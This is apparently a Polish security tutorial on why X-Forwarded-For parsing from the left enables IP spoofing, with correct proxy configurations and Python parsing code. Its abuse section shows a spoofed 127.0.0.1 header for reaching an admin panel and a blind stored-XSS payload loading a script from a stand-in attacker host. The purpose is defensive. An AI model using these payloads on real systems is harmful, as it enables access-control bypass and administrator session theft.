X-Forwarded-For: dlaczego parsowanie od lewej to gotowy bypass
Nagłówek X-Forwarded-For nie jest źródłem prawdy o adresie IP klienta — jest zwykłym polem HTTP, które każdy może wpisać ręcznie w curl. Cała jego wiarygodność bierze się wyłącznie z tego, że aplikacja wie, którym proxy ufa i ile ich stoi przed nią. Aplikacja, która bierze pierwszy adres z lewej strony listy, właśnie oddała atakującemu pilota do rate limitingu, geolokalizacji i list dostępu opartych o IP. Poniżej: mechanika nagłówka, konkretne wektory nadużyć i poprawna konfiguracja w Nginx, Apache, AWS ALB, Azure Application Gateway oraz Express.
Skąd w ogóle problem
W prostym modelu — przeglądarka łączy się bezpośrednio z serwerem — identyfikacja klienta jest darmowa. Serwer czyta adres z gniazda TCP i ma jednoznaczną odpowiedź.
Dzisiejszy ruch tak nie wygląda. Typowa ścieżka pakietu:
Klient (203.0.113.50) → CDN (198.41.215.10) → Load balancer (10.0.0.5) → aplikacja
Każdy przeskok to nowe połączenie TCP. Aplikacja widzi 10.0.0.5 i nic poza tym. Konsekwencje są bardzo praktyczne:
- Logi i audyt — wszystkie zdarzenia mają ten sam adres wewnętrznego proxy, korelacja incydentu przestaje działać.
- Rate limiting — cały ruch z LB liczy się jako jeden klient, więc limit albo nie działa, albo blokuje wszystkich naraz.
- Geolokalizacja — regionalizacja treści i licencjonowanie opierają się o lokalizację proxy.
- ACL — reguły „panel admina tylko z sieci biurowej" tracą podstawę.
Odpowiedzią na to są nagłówki X-Forwarded-For i standaryzowany Forwarded.
Jak to działa: XFF i RFC 7239
X-Forwarded-For nigdy nie został ustandaryzowany — to de facto standard branżowy, opisany m.in. w dokumentacji MDN. Format to lista adresów rozdzielona przecinkami, od lewej (oryginalny klient) do prawej (najświeższy przeskok):
X-Forwarded-For: <klient>, <proxy1>, <proxy2>
Ewolucja nagłówka w łańcuchu z przykładu wyżej:
| Etap | Wartość nagłówka |
|---|---|
| Klient → CDN | (brak nagłówka) |
| CDN → LB | X-Forwarded-For: 203.0.113.50 |
| LB → aplikacja | X-Forwarded-For: 203.0.113.50, 198.41.215.10 |
Uwaga na asymetrię: adresu ostatniego przeskoku (10.0.0.5) w nagłówku nie ma — ten adres aplikacja bierze z gniazda TCP. To kluczowe dla poprawnego algorytmu parsowania, o którym niżej.
Wersja ustandaryzowana to Forwarded z RFC 7239 — format klucz-wartość, dyrektywy rozdzielone średnikami, przeskoki przecinkami:
Forwarded: for=203.0.113.50, for=198.41.215.10;proto=https;by=10.0.0.5
Cztery oficjalne dyrektywy: for (klient lub poprzednie proxy), by (interfejs proxy, który odebrał żądanie — może być celowo zaciemniony), proto (http/https), host (oryginalny Host). Adresy IPv6 w Forwarded są ujmowane w nawiasy kwadratowe i cudzysłów: for="[2001:db8:cafe::17]" — w klasycznym XFF występują jako goły ciąg. To realna pułapka przy pisaniu parsera obsługującego oba formaty.
W praktyce spotkasz też rodzeństwo: X-Forwarded-Proto (oryginalny protokół), X-Forwarded-Host (oryginalny Host), X-Forwarded-Port oraz X-Real-IP — nieoficjalny nagłówek spopularyzowany przez Nginx, zawierający pojedynczy adres zamiast łańcucha.
Słaby punkt Forwarded: mimo że to formalny RFC z 2014 roku, wsparcie w narzędziach i bibliotekach jest wyraźnie słabsze niż dla XFF. Migracja na sam Forwarded zwykle kończy się utrzymywaniem obu nagłówków równolegle, więc realny zysk jest mniejszy, niż sugeruje status standardu.
Wektory nadużycia
Wszystko powyższe działa tylko pod warunkiem, że nagłówek dopisało zaufane proxy. Jeśli aplikacja nie wie, komu ufa, atakujący wpisuje sobie dowolną wartość:
GET /api/admin HTTP/1.1
Host: contoso.com
X-Forwarded-For: 127.0.0.1
Naiwny parser czytający pierwszy adres z lewej uzna, że żądanie przyszło z localhosta — a 127.0.0.1 bardzo często siedzi na whiteliście panelu administracyjnego. Ten sam trick rozbija rate limiting: wystarczy inkrementować zmyślony adres przy każdej próbie logowania i licznik brute-force nigdy nie dobija do progu.
Drugi, mniej oczywisty wektor to blind stored XSS. Adresy IP z nagłówków lądują w bazie i są wyświetlane w panelach admina jako historia logowań. Jeśli nie ma walidacji formatu, w miejsce adresu wchodzi payload:
X-Forwarded-For: '"><script src=https://attacker.example.net/s.js></script>
Skrypt wykonuje się w kontekście sesji administratora w momencie otwarcia panelu audytowego — czyli w miejscu, które z definicji ma najwyższe uprawnienia. Napastnik nie widzi odpowiedzi (stąd „blind"), ale nie musi: exfiltracja ciasteczka idzie out-of-band.
Warto pamiętać, że XFF nie jest jedynym kandydatem. OWASP wymienia w kontekście IP spoofingu cały zestaw: Client-IP, CF-Connecting-IP, X-Real-IP, True-Client-IP, X-Originating-IP, WL-Proxy-Client-IP. Zasada jest jedna i bezwarunkowa: to są dane wejściowe od użytkownika, dopóki nie udowodnisz, że dopisał je Twój własny komponent brzegowy.
Poprawny algorytm: od prawej, nie od lewej
Bezpieczne parsowanie polega na przejściu listy od prawej do lewej i odrzucaniu kolejnych adresów należących do znanej, zaufanej infrastruktury. Pierwszy adres, który nie jest zaufanym proxy, to najbliższa prawdzie tożsamość klienta — wszystko na lewo od niego mógł dopisać atakujący.
import ipaddress
TRUSTED_PROXIES = [
ipaddress.ip_network('10.0.0.0/8'), # wewnętrzne LB
ipaddress.ip_network('198.41.128.0/17'), # zakres CDN
]
def is_trusted(ip_str: str) -> bool:
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return False
return any(ip in net for net in TRUSTED_PROXIES)
def get_trusted_client_ip(xff_header: str, connection_ip: str) -> str:
"""Zwraca pierwszy niezaufany adres, idąc od prawej strony łańcucha."""
# Krok zerowy: jeśli bezpośredni peer nie jest naszym proxy, nagłówek
# jest bezwartościowy — ktoś puka do aplikacji z pominięciem brzegu.
if not is_trusted(connection_ip) or not xff_header:
return connection_ip
for ip_str in reversed([ip.strip() for ip in xff_header.split(',')]):
try:
ipaddress.ip_address(ip_str)
except ValueError:
# nie-IP w łańcuchu = wpis sfałszowany, dalej nic nie jest wiarygodne
break
if not is_trusted(ip_str):
return ip_str
# cały łańcuch to zaufane proxy — klientem jest bezpośredni peer
return connection_ip
Trzy rzeczy w tym kodzie są celowe i warto je uzasadnić:
- Sprawdzenie
connection_ipprzed czymkolwiek innym. To jest krok, który najłatwiej pominąć, a jego brak wywraca całą funkcję: jeśli żądanie przyszło bezpośrednio do aplikacji, z pominięciem load balancera, to nagłówek XFF w całości napisał atakujący i nie wolno z niego wziąć ani jednego adresu. Parser bez tej bramki jest podatny dokładnie na atak, przed którym miał chronić. - Wartość niebędąca adresem IP przerywa pętlę, a nie jest pomijana. Pominięcie (
continue) pozwala atakującemu wstrzyknąć śmieć w środek łańcucha i przesunąć punkt zatrzymania. Skoro łańcuch jest niespójny, dalsze wpisy nie mają wiarygodności. - Fallback to
connection_ip, nie skrajnie lewy adres. Zwracanieips[0], gdy nic nie pasuje, przywraca tę samą podatność, którą algorytm miał usunąć.
Słaby punkt tego podejścia: działa tylko wtedy, gdy lista zaufanych podsieci jest aktualna. Zakresy CDN się zmieniają — jeśli nikt nie odświeża TRUSTED_PROXIES, po zmianie po stronie dostawcy funkcja zacznie zwracać adres proxy zamiast klienta i zepsuje rate limiting po cichu, bez żadnego błędu. Alternatywa oparta o stałą liczbę przeskoków (trust proxy: 2) jest odporna na zmiany zakresów, ale rozjeżdża się przy każdej zmianie topologii. Obu wariantów trzeba pilnować — nie ma wersji „ustaw i zapomnij".
Konfiguracja warstwy brzegowej
Nginx — ngx_http_realip_module
set_real_ip_from 10.0.0.0/8; # zaufana sieć LB
set_real_ip_from 172.16.0.0/12;
set_real_ip_from 103.21.244.0/22; # przykładowy zakres CDN
real_ip_header X-Forwarded-For;
real_ip_recursive on;
Semantyka jest dokładnie taka, jak w algorytmie wyżej, ale zależy od jednego przełącznika (nginx.org). Z real_ip_recursive on adres klienta zostaje zastąpiony ostatnim niezaufanym adresem z nagłówka. Z domyślnym off — po prostu ostatnim adresem z nagłówka, bez sprawdzania, czy to nie jest kolejne Twoje proxy. W łańcuchu CDN + LB z przykładu wyżej off daje więc adres CDN-a zamiast klienta. Domyślna wartość to off, więc samo dopisanie set_real_ip_from bez real_ip_recursive on nie wystarczy.
Apache — mod_remoteip
<IfModule mod_remoteip.c>
RemoteIPHeader X-Forwarded-For
RemoteIPTrustedProxy 10.0.0.0/8
RemoteIPTrustedProxy 172.16.0.0/12
</IfModule>
Analogiczna semantyka: RemoteIPTrustedProxy definiuje, którym przeskokom wolno modyfikować tożsamość (httpd.apache.org).
AWS Application Load Balancer
ALB pozwala wybrać jeden z trzech trybów obsługi XFF atrybutem routing.http.xff_header_processing.mode (docs.aws.amazon.com):
| Żądanie wejściowe | append (domyślny) | preserve | remove |
|---|---|---|---|
| Brak XFF | X-Forwarded-For: 127.0.0.1 | brak nagłówka | brak nagłówka |
X-Forwarded-For: 127.0.0.4 | 127.0.0.4, 127.0.0.1 | 127.0.0.4 | brak nagłówka |
X-Forwarded-For: 127.0.0.4, 127.0.0.8 | 127.0.0.4, 127.0.0.8, 127.0.0.1 | 127.0.0.4, 127.0.0.8 | brak nagłówka |
(W tabeli 127.0.0.1 odwzorowuje adres ostatniego przeskoku, zgodnie z konwencją przykładów w dokumentacji AWS.)
Ustawienie z CLI:
aws elbv2 modify-load-balancer-attributes \
--load-balancer-arn <arn> \
--attributes "Key=routing.http.xff_header_processing.mode,Value=preserve"
Tryb remove jest najbezpieczniejszy tam, gdzie aplikacja i tak nie potrzebuje IP klienta — usuwa całą klasę problemu zamiast ją konfigurować.
Azure Application Gateway
Azure domyślnie przekazuje XFF w formacie IP:Port, co wywraca parsery zakładające czysty adres — bardzo częsty objaw przy CMS-ach za bramą. Rozwiązaniem jest przepisanie nagłówka na zmienną serwerową add_x_forwarded_for_proxy, która zawiera adres bez portu (learn.microsoft.com).
Node.js / Express
Domyślne trust proxy: false każe Express czytać adres z gniazda (req.socket.remoteAddress) i to jest bezpieczny default. Ustawienie trust proxy: true powoduje zaufanie skrajnie lewej wartości XFF — czyli dokładnie ten bypass, o którym mowa w tym wpisie. Bezpiecznie: podaj liczbę przeskoków albo tablicę podsieci (expressjs.com). Biblioteka proxy-addr, na której Express bazuje, rozumie nazwane zestawy: loopback (127.0.0.1/8), linklocal (169.254.0.0/16), uniquelocal (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
Checklista wdrożeniowa
- Nigdy nie ufaj XFF bezwarunkowo. Brak jawnej listy zaufanych proxy = brak ochrony, niezależnie od jakości parsera.
- Parsuj od prawej. Wpisy z lewej traktuj jako kontrolowane przez atakującego, dopóki nie przejdą przez listę zaufanych.
- Waliduj format przed zapisem do bazy. Wartość, która nie parsuje się jako adres IP, nie ma prawa trafić do logu ani panelu admina. Dla pola o tak wąskiej dziedzinie jak adres IP walidacja wejścia jest tania i skuteczna — ale nie zastępuje kodowania na wyjściu, które pozostaje podstawową obroną przed XSS. Rób jedno i drugie.
- Ujednolicaj IPv6 między formatem
Forwarded("[2001:db8::1]") a XFF (goły adres). - Odetnij backend od internetu. Serwery aplikacyjne powinny przyjmować ruch na 80/443 wyłącznie z adresów LB. Inaczej cała warstwa zaufania jest do obejścia jednym żądaniem wysłanym bezpośrednio.
- Za Cloudflare czytaj
CF-Connecting-IP— pojedynczy adres zweryfikowany na brzegu, bez parsowania łańcucha (developers.cloudflare.com). Warunek konieczny ten sam: ruch bezpośrednio do origin musi być zablokowany, inaczej nagłówek podrobi każdy.
Ostatni punkt jest tym, o którym najczęściej się zapomina. Cała konstrukcja zaufania do nagłówków opiera się na jednym założeniu: że nikt nie dogada się z aplikacją z pominięciem brzegu. Jeśli origin odpowiada na ruch z całego internetu, set_real_ip_from i CF-Connecting-IP są tylko dekoracją.